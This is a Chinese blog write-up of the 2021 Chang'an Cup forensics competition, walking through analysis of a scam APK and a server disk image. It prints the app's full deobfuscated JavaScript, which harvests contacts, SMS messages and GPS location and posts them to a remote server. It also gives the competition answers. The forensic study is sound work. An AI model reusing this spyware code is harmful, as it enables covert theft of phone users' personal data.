• 备战美亚杯,故学习电子数据取证
  • 使用工具美亚柏科开发的取证工具

总结

  • 拿到附件先认真看检材对应的文件路径和取证所要回答的题目,记清楚多少题到多少题对应的是哪个检材的
  • 然后将检材全部放入取证软件收集证据
  • 将能做的先做掉,不要纠结,给自己每题限定个时间,找不到就接着往下,遇到自己不会的知识点直接全部跳,总之能拿到的分先拿到。做题踏踏实实的做,但是比赛要有技巧。
  • 容器镜像先仿真一个,尽量仿真没有硬盘加密的镜像

2021第三届长安杯

检材1

  • 题目背景:

image-20241019180019274

image-20241019201236972

  • 然后再选择文件

image-20241019201251198

  • 点击加载

image-20241019201324442

  • 直接输入密码即可:2021第三届CAB-changancup.com

image-20241019201414315

  • 等加载好后就挂载到系统磁盘上了

image-20241019201449065

  • 然后就会发现这里面有俩个文件,检材二检材一所需要的apk文件

image-20241019201513717

  • 然后将这俩个文件提取出来,接下来就可以开始真正的取证了

image-20241019201745523

题目1

请计算检材一Apk的SHA256值

  • 这题使用windows自带的计算工具,在该文件目录下打开终端输入命令
1
certutil -hashfile 检材一-zhibo.apk sha256
  • 得到has256的值为3fece1e93be4f422c8446b77b6863eb6a39f19d8fa71ff0250aac10f8bdde73a

  • 这个has256值是对文件的内容(即文件的所有bit进行has256计算),计算出来的has256是唯一的,如果使用工具修改了这个文件里面的1字节,那么计算出来的sha256与原来不同。所以这个应该是用来标识文件有没被修改过,这个和apk应用里面的数字签名要区别开来,这是俩个不同概念的sha256

  • 使用火眼的雷电app取证,可以在这里得到答案

image-20241020105725267

题目2

该APK的应用包名为

  • 使用jadx进行逆向,找到该目录,该目录名即为APK的应用包名plus.H5B8E45D3

image-20241019215453806

  • 使用雷电app取证可以直接得到

image-20241020105811814

题目3

该APK程序在封装服务商的应用唯一标识(APPID)为

  • 在jadx逆向中找到assets-->data-->dcloud_control.xml,这样就可以看到appid

image-20241019221716077

  • 也可以使用搜索,找到对应的xml文件就可以找到appid

image-20241019221913244

  • 使用雷电app取证可以直接得到

image-20241020105906065

题目4

1
2
3
4
5
6
7
该APK具备下列哪些危险权限(多选题):

A.读取短信
B.读取通讯录
C.读取精确位置
D.修改通讯录
E.修改短信
  • 应用要获取的权限在该目录下res(与assets同级目录)--->AndroidManifest.xml,该.xml文件里面的uses-permission就是该应用需要用户授权的权限使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
+ `READ_SMS`
+ `READ_PHONE_STATE`
+ `ACCESS_FINE_LOCATION`
+ `WRITE_CONTACTS`
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>******
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>*****
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>****
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>****
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="com.asus.msa.SupplementaryDID.ACCESS"/>
  • 这里归纳一下这些选项获取的用户权限
关键字(下面省去android.permission.) 对应权限
android.permission.INTERNET(网络通讯 允许应用使用网络连接(Wi-Fi、移动数据等)。
ACCESS_NETWORK_STATE 检查网络连接状态。
ACCESS_WIFI_STATE 检查 Wi-Fi 连接状态
CHANGE_WIFI_STATE 修改 Wi-Fi 连接状态。
READ_EXTERNAL_STORAGE(存储权限 读取设备外部存储(SD卡等)的数据。
WRITE_EXTERNAL_STORAGE 写入数据到设备外部存储。
CALL_PHONE(电话与通讯 直接拨打电话,不通过拨号界面。
READ_PHONE_STATE 访问设备状态,如电话的当前状态。
SEND_SMS 发送短信。
RECEIVE_SMS 接收短信。
READ_SMS 读取收到的短信。
WRITE_SMS 修改短信和彩信
ACCESS_FINE_LOCATION(位置信息 获取精确位置信息(通过 GPS 或网络)。
ACCESS_COARSE_LOCATION 获取大致位置信息(通过 Wi-Fi 或移动基站)。
CAMERA(摄像头与多媒体 访问设备摄像头。
RECORD_AUDIO 录制音频。
MODIFY_AUDIO_SETTINGS 修改音频设置,例如音量。
READ_CONTACTS(设备信息 读取用户的联系人信息。
WRITE_CONTACTS 写入或修改用户的联系人信息。
GET_ACCOUNTS 访问用户的账户列表。
BLUETOOTH(传感器与设备控制 访问蓝牙功能。
BLUETOOTH_ADMIN 管理蓝牙设备,如扫描或配对。
VIBRATE 允许设备振动。
WAKE_LOCK(电池与电源管理 防止设备进入休眠模式。
RECEIVE_BOOT_COMPLETED 允许应用在设备启动后自动运行。
REQUEST_INSTALL_PACKAGES( 安装与应用管理 允许应用安装其他应用包。
SYSTEM_ALERT_WINDOW 允许应用显示系统级弹窗。
READ_LOGS(设备状态与日志 读取系统日志。
WRITE_SYNC_SETTINGS 修改同步设置。
  • 对着题目选项去找对应的关键字,然后再看xml有没有该关键字的内容
    • READ_SMS
    • READ_PHONE_STATE
    • ACCESS_FINE_LOCATION
    • WRITE_CONTACTS
    • WRITE_SMS
  • 找到对应关键字内容即可答案全选都有
  • 使用雷电app手机分析可以得到

image-20241020105942841

题目5

1
2
3
4
5
6
7
该APK发送回后台服务器的数据包含一下哪些内容(多选题):

A.手机通讯录
B.手机应用列表
C.手机号码
D.验证码
E.GPS定位信息
  • jadx中使用反编译该apk,然后搜索关键字内涵一点

image-20241020110508901

  • 点击进入相关页面,找到第二个框的sojson

image-20241020110548186

  • 这里是做了一个js代码混淆,防止别人轻易看出代码,这里给出一个在线sjson解密的网站,解密后就会出现如下内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
/*
*Aman - 194nb.com
*/
/*
*Progcessed By JSDec in 0.00s
*JSDec - JSDec.js.org
*/
mui.init();

mui.plusReady(function () {
//var main = plus.android.runtimeMainActivity();
// main.moveTaskToBack(false);

var address = plus.device.vendor + '-' + plus.device.model;
address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
var apiserver = 'http://www.honglian7001.com/api/uploads/';
//重复数据处理 预防用户重复点击
var danjishijian = true;
function requestPermission(sjh, yqm) {
plus.android.requestPermissions(
["android.permission.READ_SMS"],
function (resultObj) {
//SmsInfo存放一条短信的各项内容
var SmsInfo = {}
//Sms存放所有短信
var Sms = {}

var aimei = sjh;
var aimei2 = yqm;
var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
var Cursor = plus.android.importClass("android.database.Cursor")
var Uri = plus.android.importClass("android.net.Uri")   //注意啦,android.net.Uri中的net是小写
var activity = plus.android.runtimeMainActivity()
var uri = Uri.parse("content://sms/");

var projection = new Array("_id", "address", "person", "body", "date", "type")
var cusor = activity.managedQuery(uri, projection, null, null, "date desc")
var idColumn = cusor.getColumnIndex("_id")
var nameColumn = cusor.getColumnIndex("person")
var phoneNumberColumn = cusor.getColumnIndex("address")
var smsbodyColumn = cusor.getColumnIndex("body")
var dateColumn = cusor.getColumnIndex("date")
var typeColumn = cusor.getColumnIndex("type")
if (cusor != null) {
while (cusor.moveToNext()) {
SmsInfo.id = cusor.getString(idColumn)
SmsInfo.Name = cusor.getInt(nameColumn)
SmsInfo.Date = cusor.getLong(dateColumn)
SmsInfo.Date = getFormatDate(SmsInfo.Date)
SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn)
SmsInfo.Smsbody = cusor.getString(smsbodyColumn)
SmsInfo.Type = cusor.getString(typeColumn)

var post = JSON.stringify(SmsInfo);
//console.log(post);
duanxin = duanxin + ',' + post;

}
duanxin = duanxin + ']';
//alert(duanxin);

mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
mui.toast('获取成功')
//console.log(con)


},
error: function (xhr, type, errorThrown) {
//异常处理;

}
});
cusor.close()
}

},
function (error) {
console.log('申请权限错误:' + error.code + " = " + error.message);
});
}



//扩展Date功能:将long型日期转换为特定的格式
Date.prototype.format = function (format) {
var o = {
"M+": this.getMonth() + 1,
"d+": this.getDate(),
"h+": this.getHours(),
"m+": this.getMinutes(),
"s+": this.getSeconds(),
"q+": Math.floor((this.getMonth() + 3) / 3),
"S": this.getMilliseconds()
}
if (/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
}
for (var k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
}


//将long型日期转换为特定格式
function getFormatDate(l, pattern) {
date = new Date(l);
if (pattern == undefined) {
pattern = "yyyy-MM-dd hh:mm:ss";
}
return date.format(pattern);
}


//alert(plus.device.uuid)
plus.navigator.setStatusBarBackground("#db6eff");

mui("body").off("tap");

mui("body").on('tap', '#tx', function (event) {

$('#tx').hide();
$('#zz').show();
});

mui("body").on('tap', '#gb', function (event) {

$('#tx').show();
$('#zz').hide();
});

mui("body").on('tap', '#qd', function (event) {
if (danjishijian) {
danjishijian = false;
aa()
} else {
aa()
}

});


function getPermission(permissionIdentity, successCallBack, errorCallBack) {
//权限标识转换成大写
var permissionIdentity = permissionIdentity.toUpperCase();
//获取检测权限的状态
var checkResult = plus.navigator.checkPermission(permissionIdentity);
//权限状态是否正常
var permissionStatusOk = false;
//权限中文名称
var permissionName = '';
//对应 andorid 的具体权限
var androidPermission = '';
//获取权限中文意思与对应 android 系统的权限字符串
switch (permissionIdentity) {

case 'CONTACTS':
permissionName = '系统联系人';
androidPermission = 'android.permission.READ_CONTACTS'
break;

default:
permissionName = '未知';
androidPermission = '未知';
break;
}

//判断检查权限的结果
switch (checkResult) {
case 'authorized':
//正常的
permissionStatusOk = true
break;
case 'denied':
//表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框
//如果有该权限但是没有打开不进行操作还是会去申请或手动打开
// console.log('已关闭' + permissionName + '权限')
// errorCallBack('已关闭' + permissionName + '权限');
// return
break;
case 'undetermined':
// 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认
// this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)
// errorCallBack('未确定' + permissionName + '权限');
// return
break;
case 'unknown':
errorCallBack('无法查询' + permissionName + '权限');
return
break;
default:
errorCallBack('不支持' + permissionName + '权限');
return
break;
}

//如果权限是正常的执行成功回调
if (permissionStatusOk) {
successCallBack()
} else {
//如果不正常,如果是 andorid 系统,就动态申请权限
if (plus.os.name == 'Android') {
//动态申请权限
plus.android.requestPermissions([androidPermission], function (e) {
if (e.deniedAlways.length > 0) {
//权限被永久拒绝
// 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Always Denied!!! ' + e.deniedAlways.toString());
}
if (e.deniedPresent.length > 0) {
// 权限被临时拒绝
// 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Present Denied!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) {
//权限被允许
//调用依赖获取定位权限的代码
successCallBack()
// console.log('Granted!!! ' + e.granted.toString());
}
}, function (e) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Request Permissions error:' + JSON.stringify(e));
})
} else if (plus.os.name == 'iOS') {
//ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera
//这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会
//走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。
if (checkResult == 'undetermined') {
//调用依赖获取定位权限的代码
successCallBack(true)
} else {
//如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开
mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'], function (e) {
//取消
if (e.index == 0) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
} else if (e.index == 1) {
//确认,打开当前应用权限设置页面
var UIApplication = plus.ios.import('UIApplication');
var application2 = UIApplication.sharedApplication();
var NSURL2 = plus.ios.import('NSURL');
// var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");
var setting2 = NSURL2.URLWithString('app-settings:');
application2.openURL(setting2);

plus.ios.deleteObject(setting2);
plus.ios.deleteObject(NSURL2);
plus.ios.deleteObject(application2)
}
}, 'div')
}
}
}
}



function aa() {
var sjh = $('#sjh').val();
var yqm = $('#yqm').val();
if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {

getPermission('CONTACTS', function () {
huoqu(sjh, yqm);

}, function (msg) {
mui.alert(msg, '提醒', '确定', function () { }, 'div')
//aa()
})
}
else {
mui.toast('请输入正确的手机号和邀请码')
}

}




function dingwei(sjh, yqm) {
plus.geolocation.getCurrentPosition(translatePoint, function (e) {
mui.toast("异常:" + e.message);
});
}

function translatePoint(position) {

var sjh = $('#sjh').val()
var yqm = $('#yqm').val()
var currentLon = position.coords.longitude;
var currentLat = position.coords.latitude;
var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
mui.ajax(apiserver + 'apimap', {
data: {
data: jingweidu
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {

if (data == '获取成功') {
requestPermission(sjh, yqm);

//setInterval(function(){
//var sjh=$('#sjh').val();
//var yqm=$('#yqm').val();
//requestPermission(sjh,yqm);
//console.log('send')

//},30000)
}

mui.toast(data)
},
error: function (xhr, type, errorThrown) {
//异常处理;


}
});

//书写自己的逻辑

}
// 扩展API加载完毕,现在可以正常调用扩展API

function huoqu(sjh, yqm) {
var con = sjh + "**" + yqm + '**' + address;


plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {


addressbook.find(["displayName", "phoneNumbers"], function (contacts) {


for (var i = 0, len = contacts.length; i < len; i++) {
con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value);
}





mui.ajax(apiserver + 'api', {
data: {
data: con
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
//alert(data)
if (data == '正在加载列表') {
dingwei(sjh, yqm);
mui.openWindow({
url: 'list.html',
show: {
autoShow: true
}
});
} else {
mui.toast(data)
}
//console.log(con)
},
error: function (xhr, type, errorThrown) {
//异常处理;


}
});



}, function () {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
}, {
multiple: true
});
}, function (e) {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
});
}
});
  • 经过查看发现
    • 340行代码中function huoqu(sjh, yqm)函数,这里面出现了plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook),所以有获取通讯录
    • 340行代码中出现,说明发送了sjh(手机号)yqm(邀请码,应该是验证码)address(地址),并没有找到应用列表,所以选A、C、D、E
1
2
function huoqu(sjh, yqm) {
var con = sjh + "**" + yqm + '**' + address;

题目6

  • 该APK程序回传通讯录时,使用的http请求方式为()
  • 在题目5中的js代码处,第363行代码出现post参数,所以回传的应该是post方式

题目7

  • 该APK程序的回传地址域名为【标准格式:www.abc.com

  • 这里直接看上面js代码第16行,得到域名www.honglian7001.com

1
var apiserver = 'http://www.honglian7001.com/api/uploads/';

题目8

  • 该APK程序代码中配置的变量apiserver的值为【标准格式:www.abc.com/abc】

  • 题目7同时也找到变量apiserver变量的值http://www.honglian7001.com/api/uploads/

  • 所以最后答案为www.honglian7001.com/api/uploads

  • 注意:最末尾的没有/

题目9

  • 分析该APK,发现该程序还具备获取短信回传到后台的功能,短信上传服务器接口地址为【标准格式:www.abc.com/abc】 (后面不带/)
  • 依然分析js代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',
type: 'post',
timeout: 10000,
success: function (data) {
mui.toast('获取成功')
},
error: function (xhr, type, errorThrown) {
//异常处理;
}
});
  • 得出短信回传后台地址为www.honglian7001.com/api/uploads/apisms

题目10

经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该文件的文件名为

  • Android 应用的数据库通常存储在 /data/data/<package_name>/databases/ 目录下,使用MT管理器到这个里面去查找。
  • 找到该文件夹里面的东西

image-20241020122447218

  • 所以答案为test.db

题目11*

  • 目前还没办法复现,所以等有办法复现再说,现在先贴出答案

c74d97b01eae257e44aa9d5bade97baf

检材2

image-20241020122609636

  • 使用第7题的答案www.honglian7001.com对这个压缩包进行解密www.honglian7001.com

  • 解压后给了个E1的文件

image-20241020123325940

  • 使用美亚取证大师打开,同时也用美亚仿真软件打开,这一部分是直接进操作系统,直接使用命令查找会更方便

题目12

  • 检材二的原始硬盘的SHA256值为:E6873068B83AF9988D297C6916329CEC9D8BCB672C6A894D393E68764391C589
  • 打开后选择如下,点击右键,选择哈希计算,这里不能直接计算E01sha256值,E01相当于压缩处理过的硬盘,计算的sha256是和原始的不一样的

image-20241020130353407

  • 然后选中SHA256,点击开始

image-20241020130452766

  • 最后得到答案E6873068B83AF9988D297C6916329CEC9D8BCB672C6A894D393E68764391C589

image-20241020130507851

题目13

  • 查询涉案于案发时间段内登陆服务器的IP地址为【标准格式:111.111.111.111】

  • 取证自动分析后,找到该文件

image-20241020131001311

  • 找到案发的时间段,发现是该ip登录主机

image-20241020131027528

  • 所以最后题目的答案是192.168.110.203

  • 这里也可以直接用仿真软件仿真出对应的系统,使用虚拟机就可以打开,打开后就可以使用命令进行取证分析,由于报案人报案时间是4月25日,所以案发时间就应该是在4月23、24日这样的一个时间段

  • 使用命令 last | grep "Apr 24"

image-20241020164858993

题目14

  • 请对检材二进行分析,并回答该服务器在集群中承担的主要作用是()【格式:文件存储】答案:负载均衡

  • 这里先归纳一下服务器在集群中承担的作用主要有哪些:

    • 负载均衡:在服务器中会定义将请求分配到不同的服务器节点上,往往会有Nginx或者HAProxy等代理或者反向代理工具
    • 高可用性:通常会有集群管理软件Keepalived或者Pacemaker
    • 计算任务分发:会有任务调度系统,存在Apache Mesos或者K8S等应用
    • ``存储分布:有存储分布系统,存在Hadoop HDFSCeph`等文件,这些会通过配置文件定义存储节点的位置、数据的复制规则
    • 数据冗余与备份:体现在文件系统和数据库的配置文件中
    • ``拓展性支持`:
    • 文件存储
    • ``任务调度与协调`:
    • 故障检测与恢复
    • ``缓存和加速`:
  • 这里先查看一下history,发现一下有没什么线索

  • 然后再进入opt目录,发现有个honglianjingsai的目录

image-20241020170127407

  • 现在查看下这些目录和文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
[ccj@localhost chronusNode]$ cat const.js
module.exports = {
chronus_god : 'Chronus',
/*
* 运行环境
* 0 => dev:开发 1 => test:测试 2 => prod:生产
*/
run_env : 0,
sql_log : false,
autorun_config : {
/* 文件系统系统 */
ADFileServer : true,
/* 反向代理系统 */
ADProxy : true,
/* 消息推送系统 */
ADWSDeliver : false,
ADTCPDeliver : false,
ADUDPDeliver : false,
},
servants : new Set(),
/* 数据库基本配置 */
database : {
open : false,
config : {
host : '',
user : '',
pass : '',
database : ''
}
},
/*
* Redis相关
*/
redis : {
open : false,
config : {
host : '127.0.0.1',
port : '6379',
password : '',
db : '0',
channel : 'Phanes',
retry_strategy : function () {
return 5000;
}
}
},
/* 服务器基本配置 */
server_config : {
host : '0.0.0.0',
port : 80,
safe_port : 8443,
static_path : 'static',
static_host : '127.0.0.1'
},
/* Websocket配置 */
ws_params : {
/* 心跳时间 */
ws_heart_interval : 120000
},
/* UDP配置 */
udp_params : {
udp_host : '127.0.0.1',
udp_port : 50000,
},
/* 系统指令间隔 */
System_timer_interval : 60000,
/* 抓取间隔 */
Catch_timer_interval : 90000,
/* 解析间隔 */
Looper_timer_interval : 3000,
/* 码流解析间隔 */
Stream_timer_interval : 120,
/*
* 上传路径
*/
upload_path : './uploads/',
/* HTTPS OPTIONS */
https : {
open : false,
config : {
pfx : undefined,
passphrase : ''
},
},
/* 服务器标识 */
X_Powered_By : 'Chronus Express',
/* 服务器是否支持跨域 */
ACAO : false,
/* 错误代码 */
error_code : {
100 : 'Success',
101 : 'System Running',
102 : 'Error Return',
104 : 'System ShutDown',

200 : 'Failed',
201 : 'System Error',
202 : 'JSON Phrase Error',
203 : 'Command Error',
204 : 'Interface is Banned',
205 : 'Async Final Error',
206 : 'File Path Error',
207 : 'Buffer Error',
208 : 'Error Format of Request Body',
209 : 'Interface Request Timeout',
210 : 'Data Empty',
211 : 'Auth Token Error',
212 : 'Message Encrypt/Decrypt Error',
213 : 'UDP Error',
214 : 'TCP Error',

300 : 'Database Not Connected',
301 : 'Query Error',
302 : 'TransAction Error',
303 : 'RollBack Error',

400 : 'Redis Not Open',
401 : 'Redis Not Connected',
403 : 'Redis Error',

}
}

  • 再查看一下,发现19行到第34行有设置关键配置,故得出结论是负载均衡
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
[ccj@localhost chronusNode]$ cat controller/ADProxy.js
/**
* 反向代理
*
*/
module.exports = function(_brain, _app) {
/* INCLUDE */
const path = _brain.A.path;
const async = _brain.A.async;
const proxy = require('http-proxy-middleware');
const net = require('net');
/* DEFINE */
const _tag = path.basename(__filename, ".js");
var _isBanned = false;
var _isStarted = false;
if(!_brain.A.checkIsNull(_brain.C.autorun_config[_tag], _tag)){
_isStarted = _brain.C.autorun_config[_tag];
}
/* DEFINE PROXY */
const _proxy50 = {
protocol: 'http:',
host: '192.168.110.111',
port: 80
}
const _proxy100 = {
protocol: 'http:',
host: '192.168.110.112',
port: 80
}
const _proxy100p = {
protocol: 'http:',
host: '192.168.110.113',
port: 80
}
/* Private Function */
/**
* Service Running
*/
var service = function (){
if(!_isStarted) return;
// proxy middleware options
const _proxyer_chronus = proxy({
target: '/', // target host
changeOrigin: true, // needed for virtual hosted sites
ws: true, // proxy websockets
router: function(req) {
var clientIP = req.get("x-forwarded-for")
if (clientIP == undefined) {
clientIP = req.connection.remoteAddress
}
var clientIPArr = clientIP.split(".")
if (clientIPArr.length == 4) {
var clientIP3Int = parseInt(clientIPArr[2])
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);
if (clientIP3Int <= 50) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
return _proxy50
} else if (clientIP3Int <= 100) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100));
return _proxy100
} else {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100p));
return _proxy100p
}
}
}
})

_app.all('/*', _proxyer_chronus);
};

/**
* Service Killing
*/
var serviceKiller = function (){
};


/* Public Function */
/* 返回_tag */
var getTag = function (){
return _tag;
};
/* 判断服务是否开启 */
var isStarted = function (){
return _isStarted;
};
/* 判断服务是否被意外禁止 */
var isBanned = function (){
return _isBanned;
};

/* 服务开关 */
var startServer = function (callBack){
_isStarted = true;
service();
if(callBack)
callBack(100, _tag + ' Started');
};

var stopServer = function (callBack){
_isStarted = false;
serviceKiller();
if(callBack)
callBack(100, _tag + ' Stopped');
};

/* Service AutoRun */
if(_isStarted){
startServer();
}else{
stopServer();
}

return{
getTag : getTag,
isStarted : isStarted,
isBanned : isBanned,
startServer : startServer,
stopServer : stopServer,
};
}

题目15

  • 上一题中,提到的主要功能对应的服务监听的端口为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const _proxy50 = {
protocol: 'http:',
host: '192.168.110.111',
port: 80
}
const _proxy100 = {
protocol: 'http:',
host: '192.168.110.112',
port: 80
}
const _proxy100p = {
protocol: 'http:',
host: '192.168.110.113',
port: 80
}
  • 主要还是注意看到上题的配置文件,主要功能是负载均衡,这个反向代理的配置最主要看,得到端口80

题目16*

  • 上一题中,提到的服务所使用的启动命令为:
  • 这题复现不出来,这题我挂载该镜像的时候history已经被处理过了,原来没有处理的,会出现2百多行的history,而我挂载的虚拟机上只有几十行,还是我登录上去自己输入的命令,这题直接贴上答案node app.js

题目17

  • 经分析,该服务对于请求来源IP的处理依据是:根据请求源IP地址的第()位进行判断【标准格式:9】

  • 这题还是要看代码,代码看懂了一切都好说,还是代码问题

  • 这段代码就是接收用户的ipvar clientIP = req.get("x-forwarded-for"),然后利用.将ip分成4段,之后判断ip段数是否为4,提取ip的第3段,答案3

1
2
if (clientIPArr.length == 4) {
var clientIP3Int = parseInt(clientIPArr[2])
  • 对第3段做处理
1
2
3
4
5
6
7
8
9
10
11
router: function(req) {
var clientIP = req.get("x-forwarded-for")
if (clientIP == undefined) {
clientIP = req.connection.remoteAddress
}
var clientIPArr = clientIP.split(".")
if (clientIPArr.length == 4) {
var clientIP3Int = parseInt(clientIPArr[2])
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);

题目18

  • 经分析,当判断条件小于50时,服务器会将该请求转发到IP为()的服务器上【标准格式:111.111.111.111】

  • 依然是查看第15题的那个反向代理的配置,可以看到const _proxy50对应的就是192.168.110.111,答案即为所求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const _proxy50 = {
protocol: 'http:',
host: '192.168.110.111',
port: 80
}
const _proxy100 = {
